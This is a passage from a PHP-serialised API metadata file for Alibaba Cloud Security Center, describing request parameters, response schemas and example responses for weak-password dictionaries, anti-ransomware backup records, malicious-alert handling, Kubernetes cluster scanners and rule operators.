'[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8E****\\",\\n \\"Data\\": {\\n \\"OnlineCnt\\": 10,\\n \\"OfflineCnt\\": 2,\\n \\"FailedCnt\\": 3,\\n \\"SwitchOffCnt\\": 5,\\n \\"TotalCnt\\": 20,\\n \\"FailedReasons\\": [\\n {\\n \\"Reason\\": \\"Other\\",\\n \\"Count\\": 3,\\n \\"Code\\": \\"-1\\"\\n }\\n ]\\n }\\n}","type":"json"}]', 'title' => 'DescribePluginSummary', ], 'DescribeCustomizedDict' => [ 'summary' => 'View the result of custom weak password uploads', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address of the access source.', 'type' => 'string', 'required' => false, 'example' => '58.240.XX.XX', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'A unique identifier generated by Alibaba Cloud for this request.', 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX', ], 'FileName' => [ 'description' => 'The name of the OSS file containing weak passwords.', 'type' => 'string', 'example' => 'test_dict.plain'."\n", ], 'OssUrl' => [ 'description' => 'The URL of the OSS object.', 'type' => 'string', 'example' => 'cloudtest01/661767e1-5ae3-4ec5-865f-03039436893a/sacc2*****', ], 'UploadTime' => [ 'description' => 'Upload timestamp, in milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1719919421', ], 'Limit' => [ 'description' => 'The upper limit for adding weak password rules.', 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], 'Count' => [ 'description' => 'The current number of added weak password rules.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'FileSize' => [ 'description' => 'File size, in bytes.', 'type' => 'integer', 'format' => 'int64', 'example' => '40'."\n", ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX\\",\\n \\"FileName\\": \\"test_dict.plain\\\\n\\",\\n \\"OssUrl\\": \\"cloudtest01/661767e1-5ae3-4ec5-865f-03039436893a/sacc2*****\\",\\n \\"UploadTime\\": 1719919421,\\n \\"Limit\\": 9,\\n \\"Count\\": 1,\\n \\"FileSize\\": 40\\n}","type":"json"}]', 'title' => 'Query Custom Weak Passwords', 'translator' => 'machine', ], 'ListUniBackupRecord' => [ 'summary' => 'List Database Backup Records', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '248537', 'abilityTreeNodes' => [ 'FEATUREsas7JO011', ], 'autoTest' => true, 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'BackupRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region where the anti-ransomware backup service is located.', 'type' => 'string', 'required' => true, 'example' => 'cn-shanghai', ], ], [ 'name' => 'MachineRemark', 'in' => 'query', 'schema' => [ 'title' => '', 'description' => 'The identification information of the server protected by the anti-ransomware policy. You can enter the IP address or instance ID of the server.', 'type' => 'string', 'required' => false, 'example' => '1.1.XX.XX', ], ], [ 'name' => 'State', 'in' => 'query', 'schema' => [ 'description' => 'Backup status. Values:'."\n" .'- **completed**: Success'."\n" .'- **error**: Failure'."\n" .'- **canceled**: Closed', 'type' => 'string', 'required' => false, 'example' => 'completed', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'When performing a paginated query, set the page number for the current page. The default value is **1**.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'title' => '', 'description' => 'The maximum number of data entries to display per page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'maximum' => '200', 'minimum' => '10', 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', ], 'UniBackupRecordList' => [ 'description' => 'List of database backup records.', 'type' => 'array', 'items' => [ 'description' => 'Database backup record.', 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.', 'type' => 'string', 'example' => '5d13e7cf-8074-4ffe-ab3b-1046565a****', ], 'InstanceUuid' => [ 'description' => 'The unique ID of the database instance on the server.', 'type' => 'string', 'example' => '18d04f2a496811ef800000163e13****', ], 'Subtype' => [ 'description' => 'Backup type. Values:'."\n" ."\n" .'- *full*: Full backup'."\n" .'- *incremental*: Incremental backup', 'type' => 'string', 'example' => 'full', ], 'DatabaseType' => [ 'description' => 'Database type. Values:'."\n" ."\n" .'- **MYSQL**'."\n" .'- **ORACLE**'."\n" .'- **MSSQL**', 'type' => 'string', 'example' => 'MYSQL', ], 'BackupStartTime' => [ 'description' => 'The start time of the backup, in timestamp format (in milliseconds).', 'type' => 'integer', 'format' => 'int64', 'example' => '1729071306', ], 'BackupEndTime' => [ 'description' => 'The end time of the backup, in timestamp format (in milliseconds).', 'type' => 'integer', 'format' => 'int64', 'example' => '1729071307', ], 'DatabaseName' => [ 'description' => 'The name of the database.', 'type' => 'string', 'example' => 'test_MySQL11', ], 'State' => [ 'description' => 'Backup status. Values:'."\n" .'- **completed**: Success'."\n" .'- **error**: Failure'."\n" .'- **canceled**: Closed', 'type' => 'string', 'example' => 'completed', ], 'ErrorMessageList' => [ 'description' => 'List of backup error messages.', 'type' => 'array', 'items' => [ 'description' => 'Backup error message.', 'type' => 'string', 'example' => 'Inner Error.', ], ], 'InstanceName' => [ 'description' => 'Server name.', 'type' => 'string', 'example' => 'launch-advisor-20190410', ], 'Ip' => [ 'description' => 'The IP of the server.'."\n" ."\n" .'> If a public IP exists, this value is the public IP; if no public IP but a private IP exists, then it is the private IP.'."\n", 'type' => 'string', 'example' => '1.1.1.1', ], 'InstanceId' => [ 'description' => 'The instance ID of the server.', 'type' => 'string', 'example' => 'i-2zee6ru2t8xbzix6****', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.', 'type' => 'string', 'example' => '1.1.1.1'."\n", ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.', 'type' => 'string', 'example' => '192.168.1.1', ], 'RegionId' => [ 'description' => 'The ID of the region where the instance is located.', 'type' => 'string', 'example' => 'cn-shanghai', ], ], ], ], 'PageInfo' => [ 'description' => 'Page information for pagination queries.', 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the current page in a pagination query.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of items displayed per page in a pagination query.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of records in the query result.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'Count' => [ 'description' => 'The number of items displayed on the current page in a pagination query.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\",\\n \\"UniBackupRecordList\\": [\\n {\\n \\"Uuid\\": \\"5d13e7cf-8074-4ffe-ab3b-1046565a****\\",\\n \\"InstanceUuid\\": \\"18d04f2a496811ef800000163e13****\\",\\n \\"Subtype\\": \\"full\\",\\n \\"DatabaseType\\": \\"MYSQL\\",\\n \\"BackupStartTime\\": 1729071306,\\n \\"BackupEndTime\\": 1729071307,\\n \\"DatabaseName\\": \\"test_MySQL11\\",\\n \\"State\\": \\"completed\\",\\n \\"ErrorMessageList\\": [\\n \\"Inner Error.\\"\\n ],\\n \\"InstanceName\\": \\"launch-advisor-20190410\\",\\n \\"Ip\\": \\"1.1.1.1\\",\\n \\"InstanceId\\": \\"i-2zee6ru2t8xbzix6****\\",\\n \\"InternetIp\\": \\"1.1.1.1\\\\n\\",\\n \\"IntranetIp\\": \\"192.168.1.1\\",\\n \\"RegionId\\": \\"cn-shanghai\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 10,\\n \\"Count\\": 10\\n }\\n}","type":"json"}]', 'title' => 'List Database Backup Records', 'translator' => 'machine', ], 'HandleSimilarMaliciousFiles' => [ 'summary' => 'Batch process malicious alerts.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '251677', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Scenario', 'in' => 'query', 'schema' => [ 'title' => '场景: same_file_md5 - 相同文; default - 默认为相同告警类型', 'description' => 'Batch processing scenario:'."\n" .'- same_file_md5: Same file MD5;'."\n" .'- default (default value): Same alert type.', 'type' => 'string', 'required' => false, 'example' => 'same_file_md5', ], ], [ 'name' => 'Operation', 'in' => 'query', 'schema' => [ 'title' => '处置操作', 'description' => 'Handling action:'."\n" .'- addWhitelist: Add to whitelist;'."\n" .'- offWhitelist: Remove from whitelist;'."\n" .'- offline_handled: Handled offline;'."\n" .'- mark_mis_info: Report as false positive;'."\n" .'- ignore: Ignore.', 'type' => 'string', 'required' => true, 'example' => 'ignore', ], ], [ 'name' => 'EventId', 'in' => 'query', 'schema' => [ 'title' => '目标告警id', 'description' => 'Target alert ID', 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'schema' => [ 'title' => '扫描范围', 'description' => 'File source. Values include:'."\n" .'- agentless: Host detection;'."\n" .'- ecs_snapshot: User snapshot detection;'."\n" .'- ecs_image: User-defined image detection.', 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'Language type for request and response messages. Values include:'."\n" .'- **zh**: Chinese'."\n" .'- **en**: English', 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult', 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Number of alerts processed in batch.', 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of this call request, which is a unique identifier generated by Alibaba Cloud for the request, and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '8C376***AE74FB4', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 1,\\n \\"RequestId\\": \\"8C376***AE74FB4\\"\\n}","type":"json"}]', 'title' => 'Batch Process Malicious Alerts', 'description' => '****', 'translator' => 'machine', ], 'GenerateClusterScannerWebhookYaml' => [ 'summary' => 'Generate K8s cluster scan access configuration.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) API to obtain this parameter from the ClusterId field.', 'type' => 'string', 'required' => true, 'example' => 'c3aaf6c8085f84791882eef200cd2****', ], ], [ 'name' => 'WebhookOpen', 'in' => 'query', 'schema' => [ 'description' => 'Indicates whether the incremental scan switch is enabled. Values:'."\n" .'- **0**: Not enabled'."\n" .'- **1**: Enabled', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the current request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', ], 'ClusterId' => [ 'description' => 'The ID of the container cluster.', 'type' => 'string', 'example' => 'c471f0f61b9c04f8380556e922cf1****', ], 'Id' => [ 'description' => 'Unique identifier.', 'type' => 'integer', 'format' => 'int64', 'example' => '131231', ], 'WebhookOpen' => [ 'description' => 'Indicates whether the incremental scan switch is enabled.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"ClusterId\\": \\"c471f0f61b9c04f8380556e922cf1****\\",\\n \\"Id\\": 131231,\\n \\"WebhookOpen\\": 1\\n}","type":"json"}]', 'title' => 'Generate Cluster Scanner Component Access Configuration', 'translator' => 'machine', ], 'DescribeClusterScannerList' => [ 'summary' => 'Query the status of cluster scanning components.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language type for requests and responses.'."\n" .'- **zh**: Chinese'."\n" .'- **en**: English', 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ClusterIdList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of cluster IDs.', 'type' => 'array', 'items' => [ 'description' => 'Cluster ID.', 'type' => 'string', 'required' => false, 'example' => '"c857d908016794125883a9ee8196c****"', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'StatusList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of scanner statuses. Values:'."\n" .'- **online**: Running'."\n" .'- **offline**: Offline'."\n" .'- **not_installed**: Not Installed', 'type' => 'array', 'items' => [ 'description' => 'Scanner status.', 'type' => 'string', 'required' => false, 'example' => 'online', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'InstalledCount' => [ 'description' => 'Number of clusters with installed scanners.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of this request, generated by Alibaba Cloud as a unique identifier, which can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '11C96623-E106-59C9-866D-A6C82911459F', ], 'List' => [ 'description' => 'List of clusters.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'Scanner status. Values:'."\n" .'- **online**: Running'."\n" .'- **offline**: Offline'."\n" .'- **not_installed**: Not Installed', 'type' => 'string', 'example' => 'offline', ], 'LastTime' => [ 'description' => 'Latest heartbeat time.', 'type' => 'integer', 'format' => 'int64', 'example' => '1693446913000', ], 'Version' => [ 'description' => 'Version number.', 'type' => 'string', 'example' => '20241111', ], 'NeedUpdate' => [ 'description' => 'Whether an update is needed.', 'type' => 'boolean', 'example' => 'true', ], 'WebhookOpen' => [ 'description' => 'Whether the incremental scan switch is enabled. Values: '."\n" .'- **0**: Not enabled'."\n" .' - **1**: Enabled', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'WebhookStatus' => [ 'description' => 'The incremental scan component status. Values: '."\n" .'- **n**: Not deployed '."\n" .'- **y**: Deployed', 'type' => 'string', 'example' => 'n', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"InstalledCount\\": 1,\\n \\"RequestId\\": \\"11C96623-E106-59C9-866D-A6C82911459F\\",\\n \\"List\\": [\\n {\\n \\"Status\\": \\"offline\\",\\n \\"LastTime\\": 1693446913000,\\n \\"Version\\": \\"20241111\\",\\n \\"NeedUpdate\\": true,\\n \\"WebhookOpen\\": 1,\\n \\"WebhookStatus\\": \\"n\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'View Cluster Scanner List', 'translator' => 'machine', ], 'GetClusterScannerYaml' => [ 'summary' => 'Query K8s cluster scan access configuration.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster that you want to query.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cd49575861a3044d49c954e4b3911****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], 'WebhookOpen' => [ 'description' => 'Indicates whether the incremental scan switch is enabled. Values:'."\n" .'- **0**: Not enabled'."\n" .'- **1**: Enabled', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ClusterId' => [ 'description' => 'The ID of the cluster that you want to scan.'."\n", 'type' => 'string', 'example' => 'c7c190a82d9a048be9038d352840f****', ], 'CaCertBase64' => [ 'description' => 'Base64 encoded CA certificate.', 'type' => 'string', 'example' => 'xxx', ], 'TlsKeyBase64' => [ 'description' => 'Base64 encoded webhook private key.', 'type' => 'string', 'example' => 'xxx', ], 'TlsCertBase64' => [ 'description' => 'Base64 encoded webhook certificate.', 'type' => 'string', 'example' => 'xxx', ], 'Image' => [ 'description' => 'The name of the image.'."\n", 'type' => 'string', 'example' => 'xxxx-registry.cn-shanghai.cr.aliyuncs.com/default/scanner:v1', ], 'ClusterEnvInfo' => [ 'description' => 'Cluster environment information.', 'type' => 'string', 'example' => 'xxx', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"WebhookOpen\\": 1,\\n \\"ClusterId\\": \\"c7c190a82d9a048be9038d352840f****\\",\\n \\"CaCertBase64\\": \\"xxx\\",\\n \\"TlsKeyBase64\\": \\"xxx\\",\\n \\"TlsCertBase64\\": \\"xxx\\",\\n \\"Image\\": \\"xxxx-registry.cn-shanghai.cr.aliyuncs.com/default/scanner:v1\\",\\n \\"ClusterEnvInfo\\": \\"xxx\\"\\n}","type":"json"}]', 'title' => 'View Cluster Scan Component Access Configuration', ], 'GetAgentlessTaskUsedSizeEstimate' => [ 'summary' => 'Query the estimated volume for agentless detection.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '155384', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'AssetSelectionType', 'in' => 'query', 'schema' => [ 'description' => 'Asset selection identifier.', 'type' => 'string', 'required' => true, 'example' => 'AGENTLESS_SCAN_ONCE_TASK_1720145******', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this call request, which is a unique identifier generated by Alibaba Cloud for this request and can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => 'CD380235-A0B8-540D-A0D5-D62884469E3C', ], 'EstimateUsedSize' => [ 'description' => 'The estimated volume for this detection task, in GB.', 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CD380235-A0B8-540D-A0D5-D62884469E3C\\",\\n \\"EstimateUsedSize\\": 1\\n}","type":"json"}]', 'title' => 'Get Agentless Detection Estimated Volume', 'translator' => 'machine', ], 'ListCloudAssetMatchOperators' => [ 'summary' => 'Get the list of cloud product configuration rule operators', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasLFD8D4', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'Sets the language type for requests and received messages, default is **zh**. Values:'."\n" .'- **zh**: Chinese '."\n" .'- **en**: English ', 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', ], 'MatchTypeOperators' => [ 'description' => 'List of operator types', 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type used by the operator. Values:'."\n" .'- LIST '."\n" .'- MAP '."\n" .'- STRING '."\n" .'- BOOLEAN '."\n" .'- FLOAT '."\n" .'- DOUBLE '."\n" .'- INTEGER '."\n" .'- LONG ', 'type' => 'string', 'example' => 'LIST', ], 'MatchOperators' => [ 'description' => 'List of operators', 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'Unique name of the operator. Values: - LIST type: '."\n" .'1. LIST_CONTAINS: contains '."\n" .'2. LIST_LENGTH_GT: length greater than '."\n" .'3. LIST_LENGTH_LT: length less than '."\n" .'4. LIST_NOT_CONTAINS: does not contain'."\n" .'- STRING type: '."\n" .'1. STRING_NOT_IN: not in list '."\n" .'2. STRING_EQ: equals '."\n" .'3. STRING_IN: in list '."\n" .'4. STRING_NOT_EQ: not equal'."\n" .'- BOOLEAN type: '."\n" .'1. BOOLEAN_NOT_IN: not in list '."\n" .'2. BOOLEAN_EQ: equals '."\n" .'3. BOOLEAN_IN: in list '."\n" .'4. BOOLEAN_NOT_EQ: not equal'."\n" .'- FLOAT type: 1. FLOAT_NOT_IN: not in list '."\n" .'2. FLOAT_EQ: equals 3. FLOAT_IN: in list '."\n" .'4. FLOAT_NOT_EQ: not equal '."\n" .'5. FLOAT_GT: greater than '."\n" .'6. FLOAT_GTE: greater than or equal to '."\n" .'7. FLOAT_LT: less than '."\n" .'8. FLOAT_LTE: less than or equal to'."\n" .'- DOUBLE type: '."\n" .'1. DOUBLE_NOT_IN: not in list '."\n" .'2. DOUBLE_EQ: equals '."\n" .'3. DOUBLE_IN: in list '."\n" .'4. DOUBLE_NOT_EQ: not equal '."\n" .'5. DOUBLE_GT: greater than '."\n" .'6. DOUBLE_GTE: greater than or equal to 7'."\n" .'. DOUBLE_LT: less than '."\n" .'8. DOUBLE_LTE: less than or equal to'."\n" .'- INTEGER type: '."\n" .'1. INTEGER_NOT_IN: not in list '."\n" .'2. INTEGER_EQ: equals '."\n" .'3. INTEGER_IN: in list '."\n" .'4. INTEGER_NOT_EQ: not equal '."\n" .'5. INTEGER_GT: greater than '."\n" .'6. INTEGER_GTE: greater than or equal to '."\n" .'7. INTEGER_LT: less than '."\n" .'8. INTEGER_LTE: less than or equal to'."\n" .'- LONG type: '."\n" .'1. LONG_NOT_IN: not in list '."\n" .'2. LONG_EQ: equals '."\n" .'3. LONG_IN: in list '."\n" .'4. LONG_NOT_EQ: not equal '."\n" .'5. LONG_GT: greater than '."\n" .'6. LONG_GTE: greater than or equal to '."\n" .'7. LONG_LT: less than '."\n" .'8. LONG_LTE: less than or equal to
'."\n", 'type' => 'string', 'example' => 'LIST_CONTAINS', ], 'Value' => [ 'description' => 'Operator value. Options: - For LIST type: '."\n" .'1. CONTAINS: contains '."\n" .'2. LENGTH_GT: length greater than '."\n" .'3. LENGTH_LT: length less than '."\n" .'4. NOT_CONTAINS: does not contain'."\n" .'- For STRING type: '."\n" .'1. NOT_IN: not in the list '."\n" .'2. EQ: equals '."\n" .'3. IN: in the list '."\n" .'4. NOT_EQ: does not equal'."\n" .'- For BOOLEAN type: '."\n" .'1. NOT_IN: not in the list '."\n" .'2. EQ: equals '."\n" .'3. IN: in the list '."\n" .'4. NOT_EQ: does not equal'."\n" .'- For FLOAT type: '."\n" .'1. NOT_IN: not in the list '."\n" .'2. EQ: equals '."\n" .'3. IN: in the list '."\n" .'4. NOT_EQ: does not equal '."\n" .'5. GT: greater than '."\n" .'6. GTE: greater than or equal to '."\n" .'7. LT: less than '."\n" .'8. LTE: less than or equal to'."\n" .'- For DOUBLE type: '."\n" .'1. NOT_IN: not in the list '."\n" .'2. EQ: equals '."\n" .'3. IN: in the list '."\n" .'4. NOT_EQ: does not equal '."\n" .'5. GT: greater than '."\n" .'6. GTE: greater than or equal to '."\n" .'7. LT: less than '."\n" .'8. LTE: less than or equal to'."\n" .'- For INTEGER type: '."\n" .'1. NOT_IN: not in the list '."\n" .'2. EQ: equals '."\n" .'3. IN: in the list '."\n" .'4. NOT_EQ: does not equal '."\n" .'5. GT: greater than '."\n" .'6. GTE: greater than or equal to '."\n" .'7. LT: less than '."\n" .'8. LTE: less than or equal to'."\n" .'- For LONG type: '."\n" .'1. NOT_IN: not in the list '."\n" .'2. EQ: equals '."\n" .'3. IN: in the list '."\n" .'4. NOT_EQ: does not equal '."\n" .'5. GT: greater than '."\n" .'6. GTE: greater than or equal to '."\n" .'7. LT: less than '."\n" .'8. LTE: less than or equal to', 'type' => 'string', 'example' => 'CONTAINS', ], 'ShowName' => [ 'description' => 'Operator display name. Values: - For LIST type: '."\n" .'1. Contains: includes '."\n" .'2. SizeGreaterThan: size greater than '."\n" .'3. SizeLessThan: size less than '."\n" .'4. NotContains: does not include'."\n" .'- For STRING type: '."\n" .'1. NotIn: not in the list '."\n" .'2. Equals: equals '."\n" .'3. In: in the list '."\n" .'4. NotEquals: does not equal'."\n" .'- For BOOLEAN type: '."\n" .'1. NotIn: not in the list '."\n" .'2. Equals: equals '."\n" .'3. In: in the list '."\n" .'4. NotEquals: does not equal'."\n" .'- For FLOAT type: '."\n" .'1. NotIn: not in the list '."\n" .'2. Equals: equals '."\n" .'3. In: in the list '."\n" .'4. NotEquals: does not equal '."\n" .'5. >: greater than '."\n" .'6. >=: greater than or equal to '."\n" .'7. <: less than '."\n" .'8. <=: less than or equal to'."\n" .'- For DOUBLE type: '."\n" .'1. NotIn: not in the list '."\n" .'2. Equals: equals '."\n" .'3. In: in the list '."\n" .'4. NotEquals: does not equal '."\n" .'5. >: greater than '."\n" .'6. >=: greater than or equal to '."\n" .'7. <: less than '."\n" .'8. <=: less than or equal to (Note: There seems to be a repetition here, likely meant to be \'<=\' for \'less than or equal to\')'."\n" .'- For INTEGER type: '."\n" .'1. NotIn: not in the list '."\n" .'2. Equals: equals '."\n" .'3. In: in the list '."\n" .'4. NotEquals: does not equal '."\n" .'5. >: greater than '."\n" .'6. >=: greater than or equal to '."\n" .'7. <: less than '."\n" .'8. 